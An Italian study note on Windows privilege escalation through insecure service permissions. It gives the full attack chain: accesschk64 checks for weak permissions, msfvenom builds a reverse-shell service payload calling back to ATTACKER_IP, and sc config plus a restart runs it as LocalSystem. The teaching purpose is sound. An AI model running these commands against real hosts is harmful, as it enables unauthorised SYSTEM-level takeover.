tags: permessi_insicuri accesschk64
Vulnerabilità di Insecure Service Permissions
Questa vulnerabilità si verifica quando un utente non amministratore ha permessi di modifica su un servizio. I permessi non si riferiscono all’eseguibile del servizio (come nelle vulnerabilità precedenti), ma ai permessi del servizio stesso. In altre parole, puoi modificare la configurazione del servizio e far eseguire un tuo payload o script malevolo.
Come funziona:
-
Accesso ai permessi del servizio:
- Ogni servizio ha una configurazione che include informazioni su:
- L’eseguibile che esegue.
- L’utente con cui viene eseguito.
- Altre opzioni come se il servizio deve partire automaticamente o manualmente.
- Se un utente ha i permessi SERVICE_ALL_ACCESS o comunque permessi sufficienti sul servizio stesso, può modificare la configurazione del servizio.
- Ogni servizio ha una configurazione che include informazioni su:
-
Individuazione della vulnerabilità:
- Per capire se il servizio è vulnerabile, puoi usare strumenti come AccessChk (di Sysinternals).
- Esempio di comando:
accesschk64.exe -qlc NomeServizioQuesto comando ti dirà quali gruppi o utenti hanno permessi sui servizi. Se vedi che il gruppo BUILTIN\Users (che include utenti non amministratori) ha SERVICE_ALL_ACCESS, significa che gli utenti possono modificare la configurazione del servizio.
-
Esecuzione di un attacco:
- Una volta confermato che hai permessi sufficienti sul servizio, puoi modificare l’eseguibile che il servizio esegue o cambiare l’utente con cui il servizio viene eseguito. Ad esempio, puoi configurare il servizio per eseguire il tuo payload o script malevolo con privilegi di SYSTEM.
Passi pratici per sfruttare la vulnerabilità:
-
Verifica i permessi con AccessChk:
accesschk64.exe -qlc NomeServizio
Cerca i permessi **SERVICE_ALL_ACCESS** sul gruppo **Users** o sull'utente in cui ti trovi.
2. **Genera un payload** con **msfvenom**:
- Esempio:
```bash
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=PORT -f exe-service -o rev-svc3.exe
-
Modifica la configurazione del servizio:
-
Usa sc.exe per cambiare il percorso dell’eseguibile del servizio e far eseguire il tuo payload:
sc config NomeServizio binPath= "C:\Path\Al\Tuo\Payload.exe" obj= LocalSystem -
Il comando obj= LocalSystem fa eseguire il servizio come SYSTEM, dandoti massimi privilegi.
-
-
Riavvia il servizio:
-
Per far eseguire il tuo payload, devi riavviare il servizio:
sc stop NomeServizio sc start NomeServizio
-
-
Ottieni la shell:
- Quando il servizio si riavvia, il tuo payload verrà eseguito e dovresti ottenere una shell con privilegi elevati.
Riepilogo:
- Vulnerabilità: Un utente non amministratore ha permessi di modifica sui servizi (non sull’eseguibile).
- Attacco: Modifichi la configurazione del servizio per eseguire il tuo payload o per farlo girare come SYSTEM.
- Strumenti: Usa AccessChk per verificare i permessi, poi sc.exe per modificare il servizio.